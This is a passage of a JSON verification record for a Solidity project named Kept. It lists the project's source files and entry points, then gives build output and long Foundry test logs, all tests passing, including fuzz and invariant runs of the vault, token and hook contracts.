1000000000000000000\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 2000000000000000000\n  Bound result 1\n  Bound result 1\n  Bound result 259200\n  Bound result 259200\n  Bound result 1\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 11.62s (11.62s CPU time)\n\nRan 18 test suites in 11.62s (30.51s CPU time): 157 tests passed, 0 failed, 1 skipped (158 total tests)\n","passed":true},{"durationMs":121,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KeptHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"KeptHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"KeptHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"KeptHook.sweep()\",\"KeptHook.unlockCallback(bytes)\",\"KeptToken.approve(address,uint256)\",\"KeptToken.transfer(address,uint256)\",\"KeptToken.transferFrom(address,address,uint256)\",\"KeptVault.cancelProtocol()\",\"KeptVault.check(uint256,uint8)\",\"KeptVault.check(uint256,uint8,uint256)\",\"KeptVault.clearStale(uint256,uint8)\",\"KeptVault.createPledge(address,address,string,(uint8,uint64,uint128,uint64,address,uint256,string,string,string)[],uint256)\",\"KeptVault.executeProtocol()\",\"KeptVault.fund(uint256,uint256)\",\"KeptVault.fundReferee(uint256)\",\"KeptVault.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"KeptVault.proposeProtocol(address,bytes32,address)\",\"KeptVault.setOwner(address)\",\"KeptVault.setPanel(uint16,uint16)\",\"KeptVault.settle(uint256,uint8)\",\"KeptVault.withdrawBudget(uint256)\"],\"files\":{\".gitattributes\":2,\".gitignore\":5,\"ADAPTATION.md\":162,\"README.md\":132,\"dist/apple-touch-icon.png\":8,\"dist/assets/ccip-CaZZqoFJ.js\":1,\"dist/assets/ibm-plex-mono-latin-400-normal-CvHOgSBP.woff\":60,\"dist/assets/ibm-plex-mono-latin-400-normal-DMJ8VG8y.woff2\":58,\"dist/assets/ibm-plex-mono-latin-500-normal-CB9ihrfo.woff\":51,\"dist/assets/ibm-plex-mono-latin-500-normal-DSY6xOcd.woff2\":62,\"dist/assets/ibm-plex-mono-latin-600-normal-BgSNZQsw.woff2\":78,\"dist/assets/ibm-plex-mono-latin-600-normal-DWFSQ4vo.woff\":53,\"dist/assets/index-C4mfrCCb.js\":36,\"dist/assets/index-TiwfCIFz.css\":1,\"dist/assets/secp256k1-BNTI0_yw.js\":1,\"dist/assets/swarm-DuldE8ej.js\":83,\"dist/assets/utils-Bpv4vmSW.js\":1,\"dist/favicon-32.png\":4,\"dist/favicon.svg\":5,\"dist/icon-512.png\":8,\"dist/index.html\":23,\"docs/ORACLE_PREFLIGHT.json\":384,\"docs/OUTREACH.md\":60,\"docs/SPEC.md\":156,\"docs/SUBMISSION.md\":81,\"docs/VERIFICATION.md\":227,\"docs/brand/generate_logos.py\":62,\"docs/brand/kept-avatar-400.png\":12,\"docs/brand/kept-avatar.png\":34,\"docs/brand/kept-avatar.svg\":7,\"docs/brand/kept-logo-dark.png\":54,\"docs/brand/kept-logo-dark.svg\":61,\"docs/brand/kept-logo.png\":70,\"docs/brand/kept-logo.svg\":61,\"docs/brand/kept-mark-dark.png\":38,\"docs/brand/kept-mark-dark.svg\":59,\"docs/brand/kept-mark.png\":126,\"docs/brand/kept-mark.svg\":59,\"docs/brand/kept-stamp.png\":215,\"docs/brand/kept-stamp.svg\":64,\"docs/brand/kept-x-banner.png\":790,\"docs/brand/kept-x-banner@2x.png\":2387,\"docs/launches/vault-2172.adaptation.md\":150,\"docs/launches/vault-2172.launch.json\":18,\"docs/research.md\":61,\"docs/screenshots/local-home-light.png\":833,\"docs/screenshots/local-home.png\":768,\"docs/screenshots/local-how.png\":310,\"docs/screenshots/local-make-pledge.png\":323,\"docs/screenshots/local-mobile.png\":242,\"docs/screenshots/local-pledge.png\":332,\"foundry.toml\":21,\"launch.json\":33,\"remappings.txt\":4,\"script/LocalDemo.s.sol\":111,\"scripts/launch/.gitignore\":2,\"scripts/launch/README.md\":61,\"scripts/launch/launch.mjs\":474,\"scripts/launch/package-lock.json\":248,\"scripts/launch/package.json\":14,\"src/KeptHook.sol\":218,\"src/KeptToken.sol\":60,\"src/KeptVault.sol\":664,\"src/OracleAttestation.sol\":239,\"src/interfaces/IIntake.sol\":18,\"src/libraries/HookFlags.sol\":30,\"src/libraries/Questions.sol\":250,\"src/libraries/SpecifiedAmount.sol\":101,\"test/KeptHook.t.sol\":282,\"test/KeptHookLaunch.t.sol\":120,\"test/KeptToken.t.sol\":89,\"test/KeptVault.t.sol\":639,\"test/KeptVaultActorsInvariant.t.sol\":492,\"test/KeptVaultAudit.t.sol\":243,\"test/KeptVaultFailurePaths.t.sol\":642,\"test/KeptVaultLaunch.t.sol\":100,\"test/KeptVaultTokenCompatibility.t.sol\":49,\"test/OracleConformance.t.sol\":119,\"test/RealAttestation.t.sol\":66,\"test/VaultInvariant.t.sol\":228,\"test/fork/Robinhood.t.sol\":176,\"test/helpers/HookFixture.sol\":183,\"test/helpers/TestRouter.sol\":70,\"test/helpers/VaultFixture.sol\":190,\"test/mocks/FeeToken.sol\":27,\"test/mocks/MockERC20.sol\":58,\"test/mocks/MockIntake.sol\":64,\"vercel.json\":20,\"web/README.md\":76,\"web/index.html\":19,\"web/package-lock.json\":1015,\"web/package.json\":18,\"web/public/apple-touch-icon.png\":8,\"web/public/favicon-32.png\":4,\"web/public/favicon.svg\":5,\"web/public/icon-512.png\":8,\"web/src/abi/KeptHook.json\":658,\"web/src/abi/KeptToken.json\":244,\"web/src/abi/KeptVault.json\":1940,\"web/src/chain.js\":335,\"web/src/config.js\":30,\"web/src/dom.js\":84,\"web/src/fx.js\":325,\"web/src/hero.js\":149,\"web/src/icons.js\":42,\"web/src/main.js\":1410,\"web/src/store.js\":88,\"web/src/styles.css\":772,\"web/src/swarm.js\":586,\"web/src/ui.js\":219,\"web/vite.config.js\":42},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"148203472624c10851b302b675138ba1fb26a76ad71113695cef4784b791ac37","verifiedTreeHash":"16fbb412fb9311d3e4be54aaae303792c3e0a276","verifierVersion":"0.1.0+fddeb651"},{"checks":[{"durationMs":149607,"exitCode":0,"name":"build","output":"Compiling 123 files with Solc 0.8.26\nSolc 0.8.26 finished in 149.49s\nCompiler run successful!\n","passed":true},{"durationMs":12259,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RealAttestation.t.sol:RealAttestationTest\n[PASS] test_liveSignatureRecoversTheLiveSigner() (gas: 12095)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 342.02µs (224.30µs CPU time)\n\nRan 1 test for test/fork/Robinhood.t.sol:RobinhoodForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 426.82µs (0.00ns CPU time)\n\nRan 2 tests for test/KeptHook.t.sol:KeptHookOpeningTest\n[PASS] test_oneWeiSwapOnEmptyPoolIsChargedButDoesNotOpenTheWindow() (gas: 930834)\n[PASS] test_oneWeiSwapOnSeededPoolDoesNotOpenTheWindowEither() (gas: 661826)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.90ms (2.04ms CPU time)\n\nRan 2 tests for test/KeptVaultTokenCompatibility.t.sol:KeptVaultTokenCompatibilityTest\n[PASS] test_standardTokenSharedPledgesSettleAndRefundIndependently() (gas: 1956008)\n[PASS] test_unsupportedBalanceShrinkCanStrandLastTrancheAndBudget() (gas: 1167841)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.90ms (1.79ms CPU time)\n\nRan 2 tests for test/KeptHook.t.sol:KeptHookOpeningTokenFirstTest\n[PASS] test_oneWeiSwapOnEmptyPoolIsChargedButDoesNotOpenTheWindow() (gas: 921008)\n[PASS] test_oneWeiSwapOnSeededPoolDoesNotOpenTheWindowEither() (gas: 649795)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.97ms (1.27ms CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] test_acceptsTheProtocolSignature() (gas: 20019)\n[PASS] test_callbackSelectorIsCanonical() (gas: 3543)\n[PASS] test_digestMatchesTheProtocol() (gas: 13531)\n[PASS] test_keptVerdictFromTheVectorKey() (gas: 1339588)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 4.30ms (786.27µs CPU time)\n\nRan 1 test for test/KeptVaultActorsInvariant.t.sol:ActorsHandlerReachTest\n[PASS] test_handlerReachesEveryPath() (gas: 5595952)\nLogs:\n  Bound result 2\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 7200\n  Bound result 1000000000000000000\n  Bound result 2000000000000000000\n  Bound result 1\n  Bound result 7200\n  Bound result 500000000000000000\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 2\n  Bound result 42\n  Bound result 259200\n  Bound result 259200\n  Bound result 1\n  Bound result 2\n  Bound result 1\n  Bound result 2\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.20ms (3.75ms CPU time)\n\nRan 5 tests for test/KeptToken.t.sol:KeptTokenTest\n[PASS] testFuzz_transferConservesSupply(uint256) (runs: 256, μ: 80322, ~: 80728)\nLogs:\n  Bound result 88903465581684793125916180\n\n[PASS] test_approveAndTransferFrom() (gas: 325364)\n[PASS] test_metadataAndSupply() (gas: 54335)\n[PASS] test_noAdminSurface() (gas: 146892)\n[PASS] test_transfer() (gas: 143301)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 120.26ms (4.00ms CPU time)\n\nRan 21 tests for test/KeptHookFailurePaths.t.sol:KeptHookFailurePathsTokenFirstTest\n[PASS] testFuzz_feeNowMonotoneAndBounded(uint32,uint32) (runs: 256, μ: 438074, ~: 438096)\nLogs:\n  Bound result 3\n  Bound result 3\n\n[PASS] test_beforeInitializeRejectsAKeyNamingAnotherHook() (gas: 101086)\n[PASS] test_constructorRejectsAddressesWithOtherFlags() (gas: 159441)\n[PASS] test_constructorRejectsZeroManagerIMDOrToken() (gas: 10849)\n[PASS] test_emptySweepIsANoOp() (gas: 92381)\n[PASS] test_factoryCannotInitializeASecondPool() (gas: 79932)\n[PASS] test_hookRefusesNativeValue() (gas: 37081)\n[PASS] test_hugeRequestsAreChargedOnWhatFills() (gas: 1209621)\n[PASS] test_initializeRejectsAPairWithoutIMD() (gas: 680718)\n[PASS] test_initializeRejectsAPairWithoutKept() (gas: 680807)\n[PASS] test_initializeRejectsDynamicFee() (gas: 112641)\n[PASS] test_initializeRejectsNativeAgainstKept() (gas: 112806)\n[PASS] test_initializeRejectsWrongFee() (gas: 112639)\n[PASS] test_initializeRejectsWrongTickSpacing() (gas: 113102)\n[PASS] test_keptSentToTheHookIsNotCountedAsIMD() (gas: 132023)\n[PASS] test_noAdminOrUpgradeSurface() (gas: 171913)\n[PASS] test_repeatedSweepsNeverPayTwice() (gas: 717683)\n[PASS] test_strangerCannotFrontRunTheFactoryInitialize() (gas: 277191)\n[PASS] test_unlockCallbackOutsideASweepReverts() (gas: 37057)\n[PASS] test_wrongSidePriceLimitReverts() (gas: 86426)\n[PASS] test_zeroAmountSwapReverts() (gas: 70366)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 132.04ms (135.09ms CPU time)\n\nRan 43 tests for test/KeptVault.t.sol:KeptVaultTest\n[PASS] test_attestationCannotBeReplayedOnAnotherCheck() (gas: 1726979)\n[PASS] test_callbackOnlyFromIntake() (gas: 1254102)\n[PASS] test_callbackRejectsExpiredAttestation() (gas: 1264729)\n[PASS] test_callbackRejectsUnknownRequest() (gas: 1254900)\n[PASS] test_callbackRejectsWeakOrMismatchedAttestations() (gas: 1991894)\n[PASS] test_callbackRejectsWrongAnswerType() (gas: 1289194)\n[PASS] test_callbackRejectsWrongSigner() (gas: 1270836)\n[PASS] test_chainEvidenceAcceptsDeployerSettledVerdict() (gas: 1240396)\n[PASS] test_checkNeedsBudget() (gas: 1237961)\n[PASS] test_checkOpenReportsBudget() (gas: 543071)\n[PASS] test_checkPaysIntakeFromBudget() (gas: 1267661)\n[PASS] test_checkRejectsIntakeThatDoesNotPull() (gas: 1014807)\n[PASS] test_checkRejectsRepeatedRequestId() (gas: 1697655)\n[PASS] test_createPullsTokensAndBudget() (gas: 477341)\n[PASS] test_createRejectsBadQuestionStrings() (gas: 2756885)\n[PASS] test_createRejectsTaxedToken() (gas: 1114020)\n[PASS] test_createValidatesMilestones() (gas: 704836)\n[PASS] test_createValidatesPledge() (gas: 192120)\n[PASS] test_falseVerdictKeepsMilestoneOpen() (gas: 1861435)\n[PASS] test_inFlightCheckStaysBoundToItsIntake() (gas: 1486471)\n[PASS] test_isoDate() (gas: 41366)\n[PASS] test_keptPaysBeneficiaryAndReturnsBudget() (gas: 1528583)\n[PASS] test_keptRebatesFromRefereeFund() (gas: 1579314)\n[PASS] test_multiMilestoneMixedOutcomes() (gas: 3152001)\n[PASS] test_newChecksUseTheRotatedSigner() (gas: 1529920)\n[PASS] test_noRebateWhenFundIsShort() (gas: 1424042)\n[PASS] test_oneCheckInFlight() (gas: 1172688)\n[PASS] test_onlyBeneficiaryChecksBeforeDeadline() (gas: 1177243)\n[PASS] test_onlyBeneficiaryChecksEvenAfterDeadline() (gas: 1264896)\n[PASS] test_ownerHasNoPathToLockedTokens() (gas: 540546)\n[PASS] test_panelChangeOnlyAffectsNewPledges() (gas: 871407)\n[PASS] test_panelEvidenceNeedsQuorumAgreement() (gas: 1286460)\n[PASS] test_protocolChangeWaitsSevenDays() (gas: 224290)\n[PASS] test_questionBodies() (gas: 68804)\n[PASS] test_questionOfMatchesPreview() (gas: 496487)\n[PASS] test_settleBurnsAfterStaleLastCheck() (gas: 1368568)\n[PASS] test_settleTwiceReverts() (gas: 528241)\n[PASS] test_settleWaitsForCheckInFlight() (gas: 1450907)\n[PASS] test_signerRotationDoesNotStrandChecksInFlight() (gas: 1496054)\n[PASS] test_staleCheckRetriesAndAttemptsCap() (gas: 1744575)\n[PASS] test_unprovenMilestoneBurns() (gas: 644737)\n[PASS] test_valueTemplateRejectsZeroThreshold() (gas: 195184)\n[PASS] test_withdrawBudgetOnlyWhenFinished() (gas: 844312)\nSuite result: ok. 43 passed; 0 failed; 0 skipped; finished in 147.09ms (22.79ms CPU time)\n\nRan 19 tests for test/KeptHook.t.sol:KeptHookTest\n[PASS] testFuzz_crossTicks(bool,bool,uint96,uint16) (runs: 256, μ: 1306186, ~: 1275940)\nLogs:\n  Bound result 10\n  Bound result 899000000000000000049859727\n\n[PASS] testFuzz_dustSwapsAlwaysPay(bool,bool,uint16,uint16) (runs: 256, μ: 756511, ~: 756397)\nLogs:\n  Bound result 1096\n  Bound result 3674\n\n[PASS] testFuzz_feeAndPartialFills(bool,bool,uint96,uint32,bool) (runs: 256, μ: 763375, ~: 762034)\nLogs:\n  Bound result 3574\n  Bound result 1716\n\n[PASS] test_allModesAtOpeningMidpointAndAfter() (gas: 6264779)\n[PASS] test_callbacksOnlyManager() (gas: 119485)\n[PASS] test_constructorArgumentsInLaunchOrder() (gas: 56290)\n[PASS] test_constructorRejectsBadConfig() (gas: 10801)\n[PASS] test_dustSwapsRoundTheFeeUp() (gas: 4095208)\n[PASS] test_feeSchedule() (gas: 3396858)\n[PASS] test_noLiquidityNoFee() (gas: 216672)\n[PASS] test_onlyFactoryInitializes() (gas: 245701)\n[PASS] test_onlyOnePoolEver() (gas: 45590)\n[PASS] test_openingClockNeedsAnIMDLeg() (gas: 861124)\n[PASS] test_openingClockStartsAtFirstSwapNotInitialize() (gas: 1113006)\n[PASS] test_partialFillsAllModes() (gas: 2961581)\n[PASS] test_permissionBits() (gas: 5905)\n[PASS] test_sweepDuringUnlockDefers() (gas: 611252)\n[PASS] test_sweepFundsTheReferee() (gas: 1281506)\n[PASS] test_sweepIncludesDirectDonations() (gas: 177985)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 160.66ms (317.91ms CPU time)\n\nRan 5 tests for test/KeptHookLaunch.t.sol:KeptHookLaunchTest\n[PASS] test_constructorsRejectNativeValue() (gas: 2750902)\n[PASS] test_hookDeploysOnAnEmptyChainWithLaunchArguments() (gas: 4933152)\n[PASS] test_hookRefusesAnAddressWithoutItsPermissionBits() (gas: 1074487)\n[PASS] test_runtimesFitAndHaveNoForbiddenOpcodes() (gas: 18278136)\n[PASS] test_tokenMintsTheWholeSupplyToItsDeployer() (gas: 25482)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 170.39ms (43.71ms CPU time)\n\nRan 14 tests for test/KeptVaultAudit.t.sol:KeptVaultAuditTest\n[PASS] testFuzz_explicitPriceLimit(uint96,uint96) (runs: 256, μ: 887470, ~: 589240)\nLogs:\n  Bound result 17462\n  Bound result 20709\n\n[PASS] testFuzz_snapshotCheckClosesAtDeadline(uint8,uint32) (runs: 256, μ: 718471, ~: 704682)\nLogs:\n  Bound result 3\n  Bound result 20709\n\n[PASS] testFuzz_snapshotRejectsVerdictIssuedAfterDeadline(uint8,uint32) (runs: 256, μ: 1558699, ~: 1563568)\nLogs:\n  Bound result 3\n  Bound result 3\n\n[PASS] testFuzz_snapshotSignedAtDeadlineCanArriveLater(uint8,uint32) (runs: 256, μ: 1581756, ~: 1586650)\nLogs:\n  Bound result 3\n  Bound result 3\n\n[PASS] test_checkOpenDistinguishesDefaultAndExplicitPriceCaps() (gas: 505594)\n[PASS] test_creatorCanCheckWhenAlsoBeneficiary() (gas: 1404603)\n[PASS] test_creatorCannotExhaustBeneficiaryAttempts() (gas: 1591611)\n[PASS] test_creatorCannotUseExplicitPriceCheckOrClearStaleAsSideEffect() (gas: 1243379)\n[PASS] test_defaultPriceCapRejectsRepricedIntake() (gas: 588079)\n[PASS] test_defaultPriceCapSurvivesTimelockedIntakeReplacement() (gas: 1376226)\n[PASS] test_explicitCapCanAcceptNewPriceAndRebateActualPrice() (gas: 1507048)\n[PASS] test_githubPublicationDeadlineStillAllowsGraceCheck() (gas: 1443934)\n[PASS] test_priceCapFailureDoesNotClearStaleCheck() (gas: 1282371)\n[PASS] test_zeroQuoteRemainsInvalidEvenWithExplicitCap() (gas: 497017)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 170.50ms (573.22ms CPU time)\n\nRan 3 tests for test/KeptVaultLaunch.t.sol:KeptVaultLaunchTest\n[PASS] test_constructorRejectsNativeValue() (gas: 2066681)\n[PASS] test_exactLaunchArgumentsDeployOnEmptyChainWithoutInitialization() (gas: 6852797)\n[PASS] test_runtimeFitsAndHasNoForbiddenOpcodes() (gas: 31002565)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 206.02ms (67.70ms CPU time)\n\nRan 21 tests for test/KeptHookFailurePaths.t.sol:KeptHookFailurePathsTest\n[PASS] testFuzz_feeNowMonotoneAndBounded(uint32,uint32) (runs: 1000, μ: 449121, ~: 449135)\nLogs:\n  Bound result 9052\n  Bound result 11558\n\n[PASS] test_beforeInitializeRejectsAKeyNamingAnotherHook() (gas: 100804)\n[PASS] test_constructorRejectsAddressesWithOtherFlags() (gas: 159441)\n[PASS] test_constructorRejectsZeroManagerIMDOrToken() (gas: 10849)\n[PASS] test_emptySweepIsANoOp() (gas: 92381)\n[PASS] test_factoryCannotInitializeASecondPool() (gas: 79476)\n[PASS] test_hookRefusesNativeValue() (gas: 37081)\n[PASS] test_hugeRequestsAreChargedOnWhatFills() (gas: 1220243)\n[PASS] test_initializeRejectsAPairWithoutIMD() (gas: 680718)\n[PASS] test_initializeRejectsAPairWithoutKept() (gas: 680596)\n[PASS] test_initializeRejectsDynamicFee() (gas: 112359)\n[PASS] test_initializeRejectsNativeAgainstKept() (gas: 112806)\n[PASS] test_initializeRejectsWrongFee() (gas: 112357)\n[PASS] test_initializeRejectsWrongTickSpacing() (gas: 112820)\n[PASS] test_keptSentToTheHookIsNotCountedAsIMD() (gas: 132023)\n[PASS] test_noAdminOrUpgradeSurface() (gas: 171913)\n[PASS] test_repeatedSweepsNeverPayTwice() (gas: 728722)\n[PASS] test_strangerCannotFrontRunTheFactoryInitialize() (gas: 276225)\n[PASS] test_unlockCallbackOutsideASweepReverts() (gas: 37057)\n[PASS] test_wrongSidePriceLimitReverts() (gas: 86154)\n[PASS] test_zeroAmountSwapReverts() (gas: 70107)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 206.10ms (216.68ms CPU time)\n\nRan 19 tests for test/KeptHook.t.sol:KeptHookTokenFirstTest\n[PASS] testFuzz_crossTicks(bool,bool,uint96,uint16) (runs: 256, μ: 1296793, ~: 1299591)\nLogs:\n  Bound result 266\n  Bound result 899000000000000000000259200\n\n[PASS] testFuzz_dustSwapsAlwaysPay(bool,bool,uint16,uint16) (runs: 256, μ: 744939, ~: 744089)\nLogs:\n  Bound result 10\n  Bound result 14\n\n[PASS] testFuzz_feeAndPartialFills(bool,bool,uint96,uint32,bool) (runs: 256, μ: 752928, ~: 754197)\nLogs:\n  Bound result 101\n  Bound result 4160\n\n[PASS] test_allModesAtOpeningMidpointAndAfter() (gas: 6268154)\n[PASS] test_callbacksOnlyManager() (gas: 120200)\n[PASS] test_constructorArgumentsInLaunchOrder() (gas: 56290)\n[PASS] test_constructorRejectsBadConfig() (gas: 10801)\n[PASS] test_dustSwapsRoundTheFeeUp() (gas: 4076987)\n[PASS] test_feeSchedule() (gas: 3385826)\n[PASS] test_noLiquidityNoFee() (gas: 207898)\n[PASS] test_onlyFactoryInitializes() (gas: 246439)\n[PASS] test_onlyOnePoolEver() (gas: 45818)\n[PASS] test_openingClockNeedsAnIMDLeg() (gas: 858253)\n[PASS] test_openingClockStartsAtFirstSwapNotInitialize() (gas: 1097793)\n[PASS] test_partialFillsAllModes() (gas: 2953993)\n[PASS] test_permissionBits() (gas: 5905)\n[PASS] test_sweepDuringUnlockDefers() (gas: 600448)\n[PASS] test_sweepFundsTheReferee() (gas: 1276209)\n[PASS] test_sweepIncludesDirectDonations() (gas: 177985)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 224.56ms (456.15ms CPU time)\n\nRan 33 tests for test/KeptVaultFailurePaths.t.sol:KeptVaultFailurePathsTest\n[PASS] testFuzz_setPanelAcceptsExactlyAStrictMajority(uint16,uint16) (runs: 1000, μ: 58874, ~: 58236)\nLogs:\n  Bound result 104\n  Bound result 106\n\n[PASS] testFuzz_settlementSplitsExactly(uint8,uint256,uint96) (runs: 500, μ: 3490034, ~: 2936196)\nLogs:\n  Bound result 7\n  Bound result 3106748337\n\n[PASS] test_adminFunctionsAreOwnerOnly() (gas: 95606)\n[PASS] test_attackerIntakeCannotDeliver() (gas: 1948716)\n[PASS] test_attestationIssuedTooFarInTheFutureIsRefused() (gas: 1383449)\n[PASS] test_cancelAndExecuteNeedAPendingChange() (gas: 247717)\n[PASS] test_checkRefusedOnceKeptOrSettled() (gas: 1719481)\n[PASS] test_checkUnknownPledgeOrMilestone() (gas: 585394)\n[PASS] test_clearStaleFailurePathsAndBoundary() (gas: 1518075)\n[PASS] test_constructorPanelEdges() (gas: 13400)\n[PASS] test_constructorRejectsMissingAddresses() (gas: 11494)\n[PASS] test_creatorWithoutAllowanceCannotCreate() (gas: 366975)\n[PASS] test_duplicateDeliveryIsRefused() (gas: 1455648)\n[PASS] test_emptyAndMalleatedSignaturesAreRefused() (gas: 1451766)\n[PASS] test_expiryBeforeIssueIsRefused() (gas: 1288289)\n[PASS] test_fundFailurePaths() (gas: 621946)\n[PASS] test_imdAsPledgeTokenStaysApartFromBudgets() (gas: 1583377)\n[PASS] test_keptSettlementByAnyoneAlwaysPaysTheBeneficiary() (gas: 1423159)\n[PASS] test_lateAnswerAfterBurnIsRefused() (gas: 1370427)\n[PASS] test_noThenKeptPaysOutAndRebatesOnlyTheKeptCheck() (gas: 2019343)\n[PASS] test_ownerHandoverMovesTheRole() (gas: 104374)\n[PASS] test_pledgesAreIsolated() (gas: 2701013)\n[PASS] test_proposeRejectsZeroFields() (gas: 92190)\n[PASS] test_reentrantTokenCannotReenterSettle() (gas: 2945041)\n[PASS] test_renouncedOwnerCannotAdminister() (gas: 114808)\n[PASS] test_reproposalRestartsTheDelayAndExecutesOnce() (gas: 264436)\n[PASS] test_retiredIntakeCannotAnswerTheNewIntakesRequests() (gas: 2209969)\n[PASS] test_settleBoundaryIsStrictlyAfterGrace() (gas: 590082)\n[PASS] test_signatureForAnotherVaultIsRefused() (gas: 1284780)\n[PASS] test_threeNoVerdictsExhaustAttempts() (gas: 2583960)\n[PASS] test_withdrawUnknownPledgeAndEmptyBudget() (gas: 474327)\n[PASS] test_worstCaseCallbackFitsTheStipend() (gas: 4485373)\n[PASS] test_zeroQuoteRefusesCheckAndSpendsNothing() (gas: 547095)\nSuite result: ok. 33 passed; 0 failed; 0 skipped; finished in 224.48ms (236.87ms CPU time)\n\nRan 2 tests for test/KeptHookInvariant.t.sol:KeptHookInvariantTest\n[PASS]\nKeptHookInvariantTest invariants:\n[PASS] invariant_clockOpensOnceAndFeeNeverRises\n[PASS] invariant_everySweptWeiReachesTheRefereeFund\n[PASS] invariant_feeIsExactAndOnlyOnIMD\n[PASS] invariant_holdingsEqualChargedPlusDonatedMinusSwept\n[PASS] invariant_supplyFixedAndManagerSolvent\n KeptHookInvariantTest invariants (runs: 64, calls: 4096, reverts: 0)\n\n╭-----------------+-------------------+-------+---------+----------╮\n| Contract        | Selector          | Calls | Reverts | Discards |\n+==================================================================+\n| KeptHookHandler | donate            | 438   | 0       | 0        |\n|-----------------+-------------------+-------+---------+----------|\n| KeptHookHandler | dustSwap          | 446   | 0       | 0        |\n|-----------------+-------------------+-------+---------+----------|\n| KeptHookHandler | liquidity         | 476   | 0       | 0        |\n|-----------------+-------------------+-------+---------+----------|\n| KeptHookHandler | swap              | 1391  | 0       | 0        |\n|-----------------+-------------------+-------+---------+----------|\n| KeptHookHandler | sweep             | 464   | 0       | 0        |\n|-----------------+-------------------+-------+---------+----------|\n| KeptHookHandler | sweepDuringUnlock | 428   | 0       | 0        |\n|-----------------+-------------------+-------+---------+----------|\n| KeptHookHandler | wait              | 453   | 0       | 0        |\n╰-----------------+-------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 9999999000000000000013239\n  Bound result 2588311029854273409406\n  Bound result 647\n  Bound result 4617970927958651531696370\n  Bound result 844879444997\n  Bound result 36524\n  Bound result 2000000000000000000\n  Bound result 6105\n  Bound result 2048\n  Bound result 842\n  Bound result 659918\n  Bound result 48879\n  Bound result 2\n  Bound result 5724366440212852871874372\n  Bound result 9999999999999999999999999\n  Bound result 1226715564726464948489009\n  Bound result 69872992105464806705989\n  Bound result 697\n  Bound result 8176\n  Bound result 200000000000000002\n  Bound result 1260477097202470660085429\n  Bound result 1274468886582099115723596\n  Bound result 505944031\n  Bound result 29878\n  Bound result 14588\n  Bound result 8453\n  Bound result 987342353692873784496\n  Bound result 360\n  Bound result 20340\n  Bound result 400\n  Bound result 876\n  Bound result 29054\n  Bound result 36524\n  Bound result 3015\n  Bound result 591\n  Bound result 4834652898177230128850203\n  Bound result 9999999000000000000000385\n  Bound result 5517\n  Bound result 40101696563875\n  Bound result 9999999000000000011155112\n  Bound result 2\n  Bound result 300\n  Bound result 342762175426920328661758\n  Bound result 176\n  Bound result 15561\n  Bound result 867\n  Bound result 252972015\n\n[PASS] test_handlerDustBuyIsChargedWithoutOpening() (gas: 637732)\nLogs:\n  Bound result 1000000000000000000000\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.52s (1.51s CPU time)\n\nRan 2 tests for test/KeptTokenInvariant.t.sol:KeptTokenInvariantTest\n[PASS]\nKeptTokenInvariantTest invariants:\n[PASS] invariant_balancesSumToTheFixedSupply\n[PASS] invariant_callsBehaveAndAllowancesTrack\n KeptTokenInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭------------------+--------------+-------+---------+----------╮\n| Contract         | Selector     | Calls | Reverts | Discards |\n+==============================================================+\n| KeptTokenHandler | approve      | 2726  | 0       | 0        |\n|------------------+--------------+-------+---------+----------|\n| KeptTokenHandler | transfer     | 2767  | 0       | 0        |\n|------------------+--------------+-------+---------+----------|\n| KeptTokenHandler | transferFrom | 2699  | 0       | 0        |\n╰------------------+--------------+-------+---------+----------╯\n\nLogs:\n  Bound result 0\n  Bound result 0\n  Bound result 83278977\n  Bound result 42161\n  Bound result 5707\n  Bound result 0\n  Bound result 1\n  Bound result 0\n  Bound result 4\n  Bound result 1\n  Bound result 4287\n  Bound result 0\n  Bound result 2\n  Bound result 203\n  Bound result 0\n  Bound result 0\n  Bound result 0\n  Bound result 0\n  Bound result 0\n  Bound result 1\n  Bound result 0\n  Bound result 1\n  Bound result 44\n  Bound result 169\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 162671118687123579257470612\n  Bound result 5616\n  Bound result 0\n  Bound result 1\n  Bound result 1209\n  Bound result 1709164800\n  Bound result 2835\n  Bound result 24576\n  Bound result 1\n  Bound result 149\n  Bound result 1\n  Bound result 702242902\n  Bound result 2313\n  Bound result 6449\n  Bound result 0\n  Bound result 495790613314\n\n[PASS] test_failurePaths() (gas: 322669)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.55s (1.55s CPU time)\n\nRan 1 test for 